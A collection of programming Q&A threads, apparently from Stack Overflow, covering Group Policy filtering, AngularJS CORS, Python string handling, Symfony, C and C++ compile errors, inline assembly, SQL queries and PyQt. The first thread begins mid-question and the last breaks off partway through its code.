*When I create a security group that contains the specified users and computers it appears to apply to all hosts

At this point I'm running out of ideas and partly just guessing at stuff and it seems to be getting worse, for some reason I have one host in the DevHostsSG where redirect is working, two hosts where it's not working, and one host that's not in the DevHostsSG where redirect is enabled.. I've done several gpupdate /force along with logoffs and gpresult /R every time I make a change and I'm not really getting anywhere.
Any help would be greatly appreciated!
---- Further testing ----
In an attempt to simplify the situation, I've tried the following:

*

*Cleared the groups in the security filters

*Added one specific user to the security filter

*Added one specific host to the security filter

*Ran gpupdate on that host as that user: redirect enabled (OK)

*Ran gpupdate on that host as another user: redirect not enabled (OK)

*Ran gpupdate on another host as that user: redirect enabled (NOT OK)

*Turning off loopback processing didn't make a difference
---- Responses ----
joequerty:

*

*Basically I've been running gpupdate on four hosts after each time I make a change in Group Policy Management: two hosts in the DevHostsSG group and two not in the group, and on each one I log in as a user in the DevUsersOU and as a user not in the OU.

*Needing a reboot sounds strange to me.. I'm just referring to the "members"/"member of" tab under AD properties (for example, in the DevHostsSG the members are DevHost1, DevHost2, etc)

*It would be great if the policy wasn't linked to the whole domain but I don't know what else to do

*That's the issue.. I can't seem to get the GPO security filter to do an "AND", the security filters always do "OR" (ie DevUser1 OR DevHost1 rather than DevUser1 AND DevHost1)

The current configuration is back to bullet 1 above, which is to have the GP apply to the DevUsersOU with the security group set to the list of hosts where the GP should apply. I've rebooted one of the hosts since the last change and folder redirection is now no longer working (it was last time I checked yesterday). When I run a gpresult /R I don't see the GP listed at all under COMPUTER SETTINGS but I do see the following under USER SETTINGS:
The following GPOs were not applied because they were filtered out
-------------------------------------------------------------------
    Local Group Policy
        Filtering:  Not Applied (Empty)

    Default Domain Policy
        Filtering:  Not Applied (Empty)

    Folder Redirect
        Filtering:  Denied (Security)

I assume that this failed because I don't explicitly include the DevUsersSG either as a separate entry in the GP security filtering section or include them in the security group that the hosts are in, but from my tests it seems that if I do either of those, the GP applies to all hosts that those users log into... So I'm pretty much back where I started..

A: *

*Where did you run gpupdate? Loopback policy processing is a Computer Configuration setting, so in order for it to be applied to the servers in question those servers need to have Group Policy refreshed.

*A change to a computer account's group membership requires a reboot of that computer AFAIK.

*It's not recommended to use Loopback policy processing at the Domain level.

*If you must use it at the Domain level then make sure your security filtering has only the specific user and computer groups that you created.
I don't see any reason why Loopback policy processing in a GPO linked to the domain with the appropriate security filtering wouldn't work, but I've only ever used it on specific OU's, never at the domain level. That being said, I suspect your problem is with item number 2.


text:
Q: calling Https url on Http get request angularjs I have a Https url and want to send request to get data from that URL , scenario 1:
from my browser If I hit the Url i get the response whereas from my Angularjs App  I get always an error 401 , but if I hit the Api from browser I always get the correct response
for security reasons I couldn't use Url here but what I want is to:
  $http({
        method: "GET",
        url: "https://urlAdresss/",
        headers: {
            "Accept-Language": "en-US, en;q=0.8",
            "Content-Type": "application/json;charset=UTF-8"
        },
    }).then(function (_response) {
        console.log(_response
     }

I always get unauthorized I am network as well as On console any help will be greatly appreciated ,
but If I hit the same Url from browser I get the response It means the backend is working fine
I think I am missing something in my get request that's why getting the error

A: It seems a CORS (Cross-Origin Resource Sharing) issue.
In AngularJS side, you should use the following configuration in order for $http service to automatically send authorization headers to http requests.
var app = angular.module('app', [])
    .config(function($httpProvider) {
        $httpProvider.defaults.useXDomain = true;
        $httpProvider.defaults.withCredentials = true;
    });

And in backend you should specify explicitly allowed origins (eg. http://localhost:8888).
Also, note some points from here.

If you want to allow credentials then your Access-Control-Allow-Origin must not use *.


text:
Q: Print line containing "word" python I would like to print ONLY the line which contains "Server" in the below piece of output:
Date: Sun, 16 Dec 2012 20:07:44 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: PREF=ID=da8d52b67e5c7522:FF=0:TM=1355688464:LM=1355688464:S=CrK5vV-qb3UgWUM1; expires=Tue, 16-Dec-2014 20:07:44 GMT; path=/; domain=.google.com
Set-Cookie: NID=67=nICkwXDM6H7TNQfHbo06FbvZhO61bzNmtOn4HA71ukaVDSgywlBjBkAR-gXCpMNo1TlYym-eYMUlMkCHVpj7bDRwiHT6jkr7z4dMrApDuTk_HuTrZrkoctKlS7lXjz9a; expires=Mon, 17-Jun-2013 20:07:44 GMT; path=/; domain=.google.com; HttpOnly
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Connection: close

This information is fetched from a list called websiteheaders. I have the below piece of code which is driving me crazy that it is not working properly...
for line in websiteheaders:
    if "Server" in line:
        print line

Now this above piece of code prints exactly the same block of text that is described at the beginning of my post. I just dont seem to get why it does that...
As I've said, I only want to print the line that contains "Server", if possible without regex. And if not possible, with regex.
Please help and thanks!
EDIT: My complete code so far is pasted here: http://pastebin.com/sYuZyvX9
EDIT2: For completeness, in hosts.txt there currently is 1 host named "google.com"
Update
My code was actually working fine, but there was a mistake in a other piece of my code which ensured that the data that was put into the list websiteheaders was 1 large string instead of multiple entries. In the above piece of code, it will ofcourse find "Server" and print the whole entry, which in my case was the full (large) string.
Using
websiteheaders.extend(headers.splitlines())
instead of
websiteheaders.append(headers)
did the trick for me. Thanks alot guys.

A: for single_line in websiteheaders.splitlines():
    if `Server` in single_line:
        print single_line

A: Is websiteheaders really a list which is split for very line? Because if it's a string you should use:
for line in websiteheaders.splitlines():
    if "Server" in line:
        print line

Also, a good tip: I would recommend adding some print-statements on encountering this kind of problems. If you would have added something like:
else:
    print 'WRONG LINE:', line

You probably would have catched that this loop was not looping over every line but over every character.
Update
I can't wee what's wrong with your code then. This is what I get:
In [3]: websiteheaders
Out[3]:
['Date: Sun, 16 Dec 2012 20:07:44 GMT',
 'Expires: -1',
 'Cache-Control: private, max-age=0',
 'Content-Type: text/html; charset=ISO-8859-1',
 'Set-Cookie: PREF=ID=da8d52b67e5c7522:FF=0:TM=1355688464:LM=1355688464:S=CrK5vV-qb3UgWUM1; expires=Tue, 16-Dec-2014 20:07:44 GMT; path=/; domain=.google.com',
 'Set-Cookie: NID=67=nICkwXDM6H7TNQfHbo06FbvZhO61bzNmtOn4HA71ukaVDSgywlBjBkAR-gXCpMNo1TlYym-eYMUlMkCHVpj7bDRwiHT6jkr7z4dMrApDuTk_HuTrZrkoctKlS7lXjz9a; expires=Mon, 17-Jun-2013 20:07:44 GMT; path=/; domain=.google.com; HttpOnly',
 'P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."',
 'Server: gws',
 'X-XSS-Protection: 1; mode=block',
 'X-Frame-Options: SAMEORIGIN',
 'Connection: close"']

In [4]: for line in websiteheaders:
   ...:     if 'Server' in line:
   ...:         print line
   ...:
Server: gws


text:
Q: Generate one single file for each entry with Vite Basically what I need is generate one single file that contain all vendors and dependencies for each entry..
export default defineConfig({
  plugins: [ react() ],
  build: {
    rollupOptions: {
      input: {
        popup: path.resolve(pagesDirectory, 'popup', 'index.html'),
        background: path.resolve(pagesDirectory, 'background', 'index.ts'),
        content_script: path.resolve(pagesDirectory, 'content_script', 'ContentScript.tsx')
      },
      output: {
        entryFileNames: 'src/pages/[name]/index.js',
        chunkFileNames: isDevelopment ? 'assets/js/[name].js' : 'assets/js/[name].[hash].js',
        assetFileNames: (assetInfo) => {
          const { dir, name: _name } = path.parse(assetInfo.name);
          const assetFolder = getLastElement(dir.split('/'));
          const name = assetFolder + firstUpperCase(_name);
          return `assets/[ext]/${name}.chunk.[ext]`;
        }
      }
    }
  }})

In this case.. will be one file for popup, background and content_script
Here is one example of ContentScript.tsx file...
import * as React from 'react';
import { createRoot } from 'react-dom/client';
import Badge from './badge';

function init(query: string) {
  const appContainer = document.querySelector('#search') as HTMLElement;
  if (!appContainer) {
    throw new Error('Can not find AppContainer');
  }

  const rootElement = document.createElement('div');
  rootElement.setAttribute('id', 'web-answer-content-script');
  appContainer.insertBefore(rootElement, appContainer.firstChild);

  const root = createRoot(rootElement, {});
  root.render(
    <React.StrictMode>
      <Badge query={query} />
    </React.StrictMode>
  );
}

const searchParameters = new URLSearchParams(window.location.search);
if (searchParameters.has('q')) {
  const query = searchParameters.get('q');
  init(query);
}

import MessageSender = chrome.runtime.MessageSender;
function handleMessageReceived(message: string, sender: MessageSender) {
  console.log('>>> MESSAGE RECEIVED', message, sender);
}
chrome.runtime.onMessage.addListener(handleMessageReceived);

With this configuration I'm getting this..

and my content_scripts/index.js ..
import { j as n, c as a, r as c } from '../../../assets/jsx-dev-runtime.a077470a.js';
// ..rest of the code...

As you can see.. I don't want this import... statement ..


text:
Q: Symfony2: how to call templating service in a formHandler? I'm trying to do a contact form with Symfony 2 (version 2.4.1). My form is without an entity because it doesn't have to store informations in a database (just to send mails). I have a problem to call the templating render (or maybe renderView?) method for the mail template in the form handler class :
<?php
// src/Open/OpcBundle/Form/Handler/Handler.php

namespace Open\OpcBundle\Form\Handler;

use Symfony\Component\Form\Form;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Templating\EngineInterface;

class ContactHandler {
    protected $request;
    protected $form;
    protected $mailer;
    protected $templating;

public function __construct(Form $form, Request $request, $mailer, EngineInterface $templating) {
  $this->form = $form;
  $this->request = $request;
  $this->mailer = $mailer;
  $this->templating = $templating;
}

public function process() {
   if ('POST' == $this->request->getMethod()) {
       $this->form->handleRequest($this->request);
       $data = $this->form->getData();
       $this->onSuccess($data);
       return true;
   }

   return false;
}

protected function onSuccess($data) {
    $message = \Swift_Message::newInstance()
               ->setContentType('text/html')
               ->setSubject($data['sujet'])
               ->setFrom($data['courriel'])
               ->setTo('me@gmail.com')
                ->setBody($this->templating->renderView('OpcOpenBundle:Opc:Mails/contact.html.twig',
                                           array('ip' => $request->getClientIp(),
                                           'nom' => $data['nom'],
                                           'msg' => $data['msg'])
                                          )
                         );

   $this->get('mailer')->send($message);

   $request->getSession()->getFlash()->add('success', 'Your email has been sent! Thanks!');

   return $this->redirect($this->generateUrl('contact'));
}
}

This produce the following error:
ContextErrorException: Catchable Fatal Error: Argument 4 passed to Open\OpcBundle\Form\Handler\ContactHandler::__construct() must be an instance of Symfony\Component\Templating\EngineInterface, none given, called in C:\Program Files\wamp\www\sf2\src\Open\OpcBundle\Controller\OpcController.php on line 135 and defined in C:\Program Files\wamp\www\sf2\src\Open\OpcBundle\Form\Handler\ContactHandler.php line 18

So I tried to put the templating argument in the FormHandler call in the controller:
<?php
// src/Open/OpcBundle/Controller/OpcController.php

namespace Open\OpcBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\Request;
use Open\OpcBundle\Form\Type\ContactType;
use Open\OpcBundle\Form\Handler\ContactHandler;

class OpcController extends Controller {

   public function contactAction(Request $request) {
       $form = $this->get('form.factory')->create(new ContactType());

       $request = $this->get('request');

       $formHandler = new ContactHandler($form, $request, $this->get('mailer'), $this->get('templating'));

       $process = $formHandler->process();

      if ($process) {
         $this->get('session')->setFlash('notice', 'Merci de nous avoir contacté, nous répondrons à vos questions dans les plus brefs délais.');
  }

  return $this->render("OpenOpcBundle:Opc:contact.html.twig",
        array("form" => $form->createView(),
                "hasError" => $request->getMethod() == 'POST' && !$form->isValid()
        )
  );

} // -- contactAction()
} // -- class
But this produce another error, no more $request:
ContextErrorException: Notice: Undefined variable: request in C:\Program Files\wamp\www\sf2\src\Open\OpcBundle\Form\Handler\ContactHandler.php line 43

Any idea ? Maybe I should use another method (more simple, without handler) to do my contact form with Symfony 2?

A: You should change those things:

*

*Replace $request = $this->get('request'); with $request = $this->getRequest();

*Not sure, but I think you're also missing to use getForm method to your form.
Here you can find requests information (seems that getRequest() is deprecated). And here you are forms information.


text:
Q: Error in running C Program I found in a text book using Xcode. I have literally written this code exactly as it is in the textbook I am using to learn C.  I'm not sure what these errors mean or where to begin.  Please help.  I am using Xcode.
//  Specific Age Calculator
//
//  Created by Christopher Pettit on 10/11/17.
//  Copyright © 2017 Christopher Pettit. All rights reserved.

#include <stdio.h>
#define TARGET_AGE 88

int year1, year2;

int calcYear(int year1);

int main(void)
{
    // Ask the user for their birth year
    printf("What year were you born?\n");
    printf("Enter as a 4-digit year (YYYY) " );
    scanf(" %d", &year1);

    // Calculate the future year and display it
    year2 = calcYear(year1);

    printf("Since you were born in %d, you will be %d in %d. ",
    year1,TARGET_AGE,year2);

    return 0;

    // This function to get the future year
    int calcYear (int year1);

 {
    return (year1+TARGET_AGE);
 }

}

This is the error that Xcode produces

A: The curly braces are misplaced.
Thereby, function calcYear is not defined as it is hidden in main.
Without interpreting the meaning of your program, just to fix the linker error which says that there is no definition of calcYear, the code could look like:
    return 0;
}  // this one inserted

    // This function to get the future year
    int calcYear (int year1)   // ; this semicolon was deleted

 {
    return (year1+TARGET_AGE);
 }

//}  this one deleted

A: In your main function:
int calcYear (int year1);

{
   return (year1+TARGET_AGE);
}

Because of the semicolon, the compiler sees int calcYear (int year1) as another declaration (like the one before main), rather than the beginning of a function definition.  The next three lines are interpreted as a "naked" block within main.  Thus, calcYear is never properly defined, so the linker complains when it tries to build the binary.
Without the semicolon, the compiler would have interpreted it as a function definition, but C doesn't allow you to define a function within another function; the compiler would have complained with a different error.
Move those lines outside the body of main, replace them with return 0;, and remove the semicolon after the function declarator:
  return 0;
}

int calcYear (int year1)
{
  return year1 + TARGET_AGE;
}

Like I said in my comment, if yours was an accurate transcription of the code in that textbook, then you need to find a different textbook.


text:
Q: Inline asm in c++ in vs __asm char name[25];
int generated_int;

for(int i = 0; i<sizeof(name); i++)
{
    name[i] = (char)0;
}

cout << "Name: ";
cin >> name;

int nameLen = strlen(name);

__asm
{
    pusha;

    mov esi, &name //I got error here, I cant use "&". How to move name address to esi?
    mov ecx, nameLen
    mov ebx, 45

start:
    mov al, [esi]
    and eax, 0xFF
    mul ebx
    inc esi
    add edi, eax
    inc ebx
    dec ecx
    jnz start

    mov generated_serial, edi

    popa
}

cout << endl << "Serial: " << generated_serial << endl << endl;

I don't know how to get address of my chay array in asm block.
When I try to use "&" e.g. &name i get error while compiling:
error C2400: inline assembler syntax error in 'second operand'; found 'AND'

UPDATE:
mov esi, name gives me this compile error: C2443: operand size conflict
UPDATE 2:
lea is working fine.

A: You seem to be looking for the lea instruction, which loads the effective address of some symbol into a register. The following instruction will store the address of name in esi.
lea esi, name

A: name is already (or rather decays to) a pointer. Just use mov esi, name.

A: move esi, name

already is the address of name. If you wanted the content (name[0]) you would use
move esi, [name]

A: lea is what you're looking for:
#include <stdio.h>

int main()
{
    char name[25];
    char* fmt = "%p\n";

    __asm {
        lea eax,name
        push eax
        mov eax,fmt
        push fmt
        call printf
    }
    return 0;
}


text:
Q: How to merge street layers in QGIS for exporting to PostGIS? Is there any way of merging lots of street data in QGIS and getting one layer for exporting it to Postgresql?  I know one method using mmqgis "Merge Layer" tool.  It works in Ubuntu but not in Windows. When I want to open my MapInfo .TAB file in Windows it opens but this time mmgqis tools do not work.  In Ubuntu it gives "*.TAB is not a valid or recognized data source "...
Can I solve this with some Python code or any other way?
Thanks

A: MMqgis is a 3rd party plugin, you may want to try the Merge tool in the vector menu. You have also a Merge tool in the digitizing toolbar.

A: If you are just doing this to load the data into PostGIS later, you might instead use Postgis Manager plugin for QGIS which allows you to load Shapefiles into tables either creating a new table or appending the data to an existing table:

If you are looking for a script solution, I'd suggest using shp2pgsql. That's the same thing Postgis Manager is using in the background.


text:
Q: Cannot load backend 'WXAgg' which requires the 'wx' interactive framework, as 'headless' is currently running I have installed wxpython and matplotlib with conda
matplotlib version is 3.3.2
my system is a centos 7
$ python
Python 3.7.9 (default, Aug 31 2020, 12:42:55)
[GCC 7.3.0] :: Anaconda, Inc. on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import wx
>>> import matplotlib
>>> matplotlib.use("WXagg")
>>> import matplotlib.pyplot as plt
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/pascale/anaconda3/lib/python3.7/site-packages/matplotlib/pyplot.py", line 2336, in <module>
    switch_backend(rcParams["backend"])
  File "/home/pascale/anaconda3/lib/python3.7/site-packages/matplotlib/pyplot.py", line 287, in switch_backend
    newbackend, required_framework, current_framework))
ImportError: Cannot load backend 'WXAgg' which requires the 'wx' interactive framework, as 'headless' is currently running

What is missing ?
Thanks for your help

A: This problem was fixed after a yum install of gstreamer and its plugins and SDL.


text:
Q: Python segment fault, using pyqt4 I wrote a piece of code to scrape a web which actually works using it with one url but as soon as I put more than 2 ursl in the .txt tells me 'Segmentation Fault'. I have no idea where the problem is. Any help will be appreciated.
import sys
import time
import gc
from bs4 import BeautifulSoup
from PyQt4.QtGui import *
from PyQt4.QtCore import *
from PyQt4.QtWebKit import *

class Render(QWebPage):
    def __init__(self, url):
        self.app = QApplication(sys.argv)
        QWebPage.__init__(self)
        self.loadFinished.connect(self._loadFinished)
        self.mainFrame().load(QUrl(url))
        self.app.exec_()

    def _loadFinished(self, result):
        self.frame = self.mainFrame()
        #self.deleteLater()
        self.app.quit()

with open('/blah/blah/blah/blah/blah.txt') as f:
    urls = f.read().splitlines()

    for i in urls:
        r = Render(i)
        soup = BeautifulSoup(unicode(r.frame.toHtml()))
        summary = soup.find('div',{'style' : 'padding-top:10px;'})
        tables = summary.find('tbody')
        count = 0
        print
        for row in tables.findAll('tr'):
            for cell in row.findAll('td'):
                data = cell.getText()
                if (count < 15):
                    data = data + ';'
                    print data,
                count += 1
                if (count==16):
                    print data
                    count = 0

Well, thats the code. I get 2 iterations of the with loop before it tells me Segmentation fault... :(
In other words, I get to scrape 2 url´s out of 6 that the txt has.
Thanks in advance for the help

A: I managed to reproduce the problem. The following code causes Python to fail (on windows). No need for all the file reading and BeautifulSoup code:
for _ in range(3):
    r = Render('google.com')

If I make sure the first Render object is deleted before creating the second, then there is no error:
for _ in range(3):
    r = Render('google.com')
    del r

I found this related question which says you can't have multiple PyQt applications in one process. I'm not familiar with PyQt so don't know how you'd solve this. It's probably simple, but you'll have to search a little.
Also, this question has code almost identical to yours, and has a very good answer showing how to create a single QApplication and fetch multiple urls. Your question should probably be closed as a duplicate.


text:
Q: How can I prefix all column names in a T-SQL function? I have a table T with 2 columns C1 and C2
I want a function that returns T but after prefixing all column names with "PREFIX_".
The prefix is a dynamic string passed to the function.
It is possible?
I want something like
SELECT C1 AS @prefix + 'C1',
    C2 AS @prefix + 'C2'
FROM T

A: This will do it even when you don't know the columns already.
declare @prefix varchar(20)
declare @sqltext nvarchar(500)
set @prefix = 'prefix_'

declare @columnnames varchar(500)

select @columnnames = coalesce(@columnnames, '')+',' +column_name + ' '+ @prefix+column_name
from INFORMATION_SCHEMA.COLUMNS a where table_name = 't' and table_schema = 'dbo'

set @sqltext = 'select '+stuff(@columnnames,1,1,char(0))+' from t'

exec(@sqltext)

A: As its for a known number of columns you can construct the SQL string with the alias and exec() it;
declare @prefix varchar(32) = 'prefix_'
declare @sql    nvarchar(1024)

set @sql = 'select C1 as [' + @prefix + 'C1], C2 as [' + @prefix + 'C2] from T'
exec(@sql)


text:
Q: Can't connect to Azure P2S VPN I am receiving this error: The handle specified is invalid
 (Error 0x80090301)
Log shows another error:
On-Error Event  ErrorCode = -2146893055 ErrorSource = RAS
Certificate is installed. Connection works from another PC.
On both computers I have Windows 10 installed. The only difference is that on PC where VPN works I am using local network (with cable), and on PC where I am receiving error I have Wi-Fi internet connection (it isn't limited somehow).
I have tried to disable Firewall without luck. And I don't have any antivirus software that could block connection.
May be the reason that I have some kind of Network Bridge that connect Wi-Fi with Wi-Fi Adapter

A: Just want to close this topic.
VPN works fine on all machines except one with Bridge:

Thank you @Wayne Yang for validating my thoughts


text:
Q: How do you query table names and row counts for all tables in a schema using HP NonStop SQL/MX? How do you query table names and row counts for all tables in a schema using HP NonStop SQL/MX?
Thanks!

A: This might help you, althought this is more standard SQL and im not sure how much variation comes into sqlmx
SELECT
    TableName = t.NAME,
    TableSchema = s.Name,
    RowCounts = p.rows
FROM
    sys.tables t
INNER JOIN
    sys.schemas s ON t.schema_id = s.schema_id
INNER JOIN
    sys.indexes i ON t.OBJECT_ID = i.object_id
INNER JOIN
    sys.partitions p ON i.object_id = p.OBJECT_ID AND i.index_id = p.index_id
WHERE
    t.is_ms_shipped = 0
GROUP BY
    t.NAME, s.Name, p.Rows
ORDER BY
    s.Name, t.Name

Obviously this is an example, replace example data and table info with yours

A: Here is how to list the tables in a sql/mx schema, note that the system catalog name given here is an example, replace NONSTOP_SQLMX_SYSNAME with NONSTOP_SQLMX_xxxx where xxxx is the Expand node name of your system.
Also the definition schema name includes the schema version number, this example uses 3600. This example lists all the base table names in schema JDFCAT.T.
See chapter 10 of the SQL/MX reference manual for information on the metadata tables.
The table row counts are not stored in the system metadata, so you can't get them from there. For a table do SELECT ROW COUNT FROM TABLE;
SELECT
    O.OBJECT_NAME
FROM
    NONSTOP_SQLMX_SYSNAME.SYSTEM_SCHEMA.CATSYS C
    INNER JOIN NONSTOP_SQLMX_SYSNAME.SYSTEM_SCHEMA.SCHEMATA S
        ON (S.CAT_UID = C.CAT_UID)
    INNER JOIN JDFCAT.DEFINITION_SCHEMA_VERSION_3600.OBJECTS O
        on S.SCHEMA_UID = o.SCHEMA_UID
    WHERE C.CAT_NAME = 'JDFCAT' AND
          S.SCHEMA_NAME = 'T' AND
          O.OBJECT_TYPE = 'BT'
    READ UNCOMMITTED ACCESS;


text:
Q: Audio doesn't play when window isn't focused I have an application written in Elm that plays Pandora music that is displayed in Electron. Most of the time when a song ends it moves on to the next song as usual, but occasionally if the window isn't focused and is behind another one (generally when I'm using only a single monitor) my progress bar will keep moving but the audio will not play until I focus the window. Does anyone have any idea what may be causing this?
          onEnded
                (case (gm.currentStation) of
                    Just station ->
                        station.id

                    Nothing ->
                        ""
                )
            , id "songAudio"
            , src
                (case (List.head gm.songQueue) of
                    Just song ->
                        song.audioURL

                    Nothing ->
                        ""
                )
            , autoplay True
            ]
            []
onEnded : String -> Attribute Msg
onEnded stationId =
    Html.Events.on "ended"
        (Decode.succeed (SongEnded stationId))

( { gm
            | songQueue = (List.drop 1 gm.songQueue)
            , previousSongs =
                (case List.head gm.songQueue of
                    Just song ->
                        song

                    Nothing ->
                        { songTitle = ""
                        , trackLength = 0
                        , rating = 0
                        , audioURL = ""
                        , artistName = ""
                        , albumTitle = ""
                        , albumArt = ""
                        , trackToken = ""
                        }
                )
                    :: gm.previousSongs
            , currentTime = 0
            , isPlaying = True
          }
        , cmds
            [ if List.length gm.songQueue == 2 then
                Http.send LoadedNextSongs
                    (SongApi.getNext stationId gm.authToken False)
              else
                Cmd.none
            ]
        )

Most of the time it continues playing the song as normal, but occasionally it doesn't begin the song until I refocus the window. (The progress bar keeps counting though, so the code that is causing it to play should be working.)


text:
Q: Is there a specific logical way to determine if there is an integer in a String? I am wondering if using a for loop to determine if an integer is inside of a string, would be the best option. But I am not so sure.

A:
Hello, is there a specific logical way to determine if there is an
integer in a String?

A simple solution is to use regex. The regex, \d+ means a sequence of one or more digit characters.
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Main {
    public static void main(String[] args) throws IllegalArgumentException {
        String str = "Hello123World";
        Matcher matcher = Pattern.compile("\\d+").matcher(str);
        if (matcher.find()) {
            System.out.println("The integer inside the text is " + matcher.group());
        } else {
            System.out.println("There is no integer inside the text.");
        }
    }
}

Output:
The integer inside the text is 123


text:
Q: Javascript style object converts complex color names into rgb Is there a way to override how javascript converts complex CSS color names to rgb values when applying them to DOM elements in the document.getElementById(xxx).style object.
For example: setting document.getElementById("colorMe").style.background = "lightblue" will set the "DOMElement".style object with a background = "rgb(...)".
However, setting document.getElementById("colorMe").style.background = "blue" will set the "DOMElement".style object with a background = "blue".
I WANT the second version for all cases of color names, not just simple color names.
I would like to bypass how javascript is converting that color into an RGB value for complex color names. Is this possible?
EDIT:  I Am aware there are ways to convert back and forth, I am just trying to bypass how javascript seems to be converting them "for me"... I'd like it to stay as "lightblue", and the browser seems to handle lightblue as a background color just fine.

A: You could use setAttribute:
element.setAttribute('style', 'background-color: lightblue');

To preserve the existing inline style:
var box = document.getElementById("box"),
    old_style = box.getAttribute('style');

box.setAttribute('style', old_style + ' background-color: lightblue;');

DEMO
Notice that the inline background-color is 'lightblue' and not 'rgb(173, 216, 230).'


text:
Q: JUnit tests for Scanner I am trying to build JUnit tests for the following code:
import java.util.InputMismatchException;
import java.util.Scanner;

public class Console {

    static Scanner sc1 = new Scanner(System.in);
    static Scanner sc2 = new Scanner(System.in);

    public static void main (String[] args) {
        readIntegerFromStdin ();
    }

    public static void readIntegerFromStdin () {
        try {
            System.out.println("Enter number here: ");
            int a=sc1.nextInt();
        } catch (InputMismatchException e) {
            System.out.println("Enter number here: ");
            sc2.nextInt();
        }
    }
}

The problem is, I don't know how to use the input from the Scanner in the test. How do I get access to the Scanner's input?


text:
Q: Error: No instance of constructor "Faktura::Faktura" matches the argument list I have a problem with my C++ code.
I have three classes: Osoba (=Person), Produkt (=Product) and Faktura (=invoice)
Osoba.h
class Osoba
{
 public:
     Osoba(int vek, string jmeno);
     ~Osoba();
     int vek;
     string jmeno;
};

Osoba.cpp
Osoba::Osoba(int vek, string jmeno)
{
    this->vek = vek;
    this->jmeno = jmeno;
}

Osoba::~Osoba()
{
}

Produkt.h
class Produkt
{
public:
    Produkt(int id, string jmeno, double cena);
    ~Produkt();
    string jmeno;
    double cena;

private:
    int id;
};

Produkt.cpp
Produkt::Produkt(int id, string jmeno, double cena)
{
    this->id = id;
    this->jmeno = jmeno;
    this->cena = cena;
}

Produkt::~Produkt()
{
}

Faktura.h
class Faktura
{
public:
    Faktura(int id, Osoba * osoba, vector<Produkt> produkty);

    ~Faktura();

    int CelkovaCena();

    Osoba * osoba;

    vector<Produkt> produkty;

private:
    int id;
};

Faktura.cpp
Faktura::Faktura(int id, Osoba * osoba, vector<Produkt> produkty)
{
    cout << "konstruktor Faktura" << endl;
    this->id = id;
    this->osoba = osoba;
    this->produkty = produkty;
}

Faktura::~Faktura()
{
    cout << "destruktor Faktura" << endl;
}

int Faktura::CelkovaCena()
{
    int suma = 0;

    for (int i = 0; i < produkty.size(); i++)
    {
        suma+=produkty[i].cena;
    }
    return suma;
}

main.cpp
int main()
{
    Produkt * p1 = new Produkt(1, "Konvice", 450.0);
    Produkt * p2 = new Produkt(2, "Autolekarnicka", 150.0);

    Osoba * o1 = new Osoba(18,"Jakub");

    Faktura * f1 = new Faktura(1,*o1,p1);   //error

    delete p1;
    delete p2;
    delete o1;
    //delete f1;

    return 0;
}

The problem is that I don't know how to create the "new" with Faktura in main.cpp. It gives me an error: No instance of constructor "Faktura::Faktura" matches the argument list.
Can you help me?

A: According to your constructor:
Faktura(int id, Osoba * osoba, vector<Produkt> produkty);, the arguments list types are: int pointer to Osoba and vector of Produkt.
You are not sending the correct parameters.
Change the second parameter to a pointer and the third one to a pointer.

A: You declare a pointer with * but you use it without it unless you want to see the content of the pointed object.
example:
int variable = 5;

void some_function(int *pointer_parameter) // pointer declaration
{
   // some work
}

int *pointer;            // declaration
pointer = &variable;     // usage
some_function(pointer);  // usage (you do not pass *pointer but pointer

So...
You defined the constructor like this:
Faktura(int id, Osoba * osoba, vector<Produkt> produkty);
And you are passing like this:
Faktura(1,*o1,p1);
However,
o1 here does not need the star because its not a declaration.
Just do it like this:
Faktura * f1 = new Faktura(1,o1,p1) // the * removed from front of o1

Update:
But also p1 is not a vector as the constructor expects, so you have either to define p1 as a vector (not a pointer) or change the constructor parameter to be same type as p1.
C++ is a strong typed language, so all parameters have to be type-compatible with the passed values or variables.

A: You have to match the method parameter types:
Faktura::Faktura(int id, Osoba * osoba, std::vector<Produkt> produkty)

The call has to look like this:
Faktura * f1 = new Faktura(1, o1, p);   //error

Note: o1 is already a pointer. p has to be a vector.
So:
int main()
{
    Produkt * p1 = new Produkt(1, "Konvice", 450.0);
    Produkt * p2 = new Produkt(2, "Autolekarnicka", 150.0);

    std::vector<Produkt> p;

    p.push_back(*p1);
    p.push_back(*p2);

    Osoba * o1 = new Osoba(18,"Jakub");

    Faktura * f1 = new Faktura(1, o1, p);

    cout <<  "Celkova cena = " << f1->CelkovaCena() << endl;

    delete p1;
    delete p2;
    delete o1;
    delete f1;

    return 0;
}

Output:
konstruktor Faktura
Celkova cena = 600
destruktor Faktura

A: Here are some methods that you can use for create objects and also can use alternate each other.
 /* 1 */ Produkt* p1 = new Produkt ();

/* 2 */ Produkt* p2 = new Produkt;

/* 3 */ Osoba o1;
/* 4 */ Faktura f1 = Faktura::Faktura();

/* 5 */Produkt* p1 = new Produkt ( *new Produkt() );

/* 6 */ Produkt* p2 = new Produkt ( *new Produkt );

Same as before.
/* 7 */ Osoba* o1 = new Osoba ( Produkt foo5 );
/* 8 */ Faktura* f1 = new Faktura ( Faktura::Faktura() );


text:
Q: Python (PyQt5) version of Qt Callout Example Callout Example

From QtCharts package: https://doc.qt.io/qt-5/qtcharts-callout-example.html
This (excellent) example shows how to draw an additional element (a callout) on top of the chart.

The question is if this example can be found somewhere implemented in python?

A: I was looking for this example ported to PyQt5 (python), but didn't found any. So I wrote it by myself and would like to share it with you (just to save your time). It's written for Python 3.8, but should work for older ones as well, PyQt version is 5.14.1.
There is just a little difference against the original C++ implementation. QGraphicsScene has to be explicitly set - in View constructor class and Each new Callout object has to be explicitly added to the scene. Frankly I don't know why but I don't care. Exactly the same Qt library version in C++ doesn't require that.
import sys
from typing import List

from PyQt5.QtChart import QChart, QLineSeries, QSplineSeries
from PyQt5.QtCore import QPointF, QRect, QRectF, QSizeF, Qt
from PyQt5.QtGui import QColor, QFont, QFontMetrics, QMouseEvent, QPainter, QPainterPath, QResizeEvent
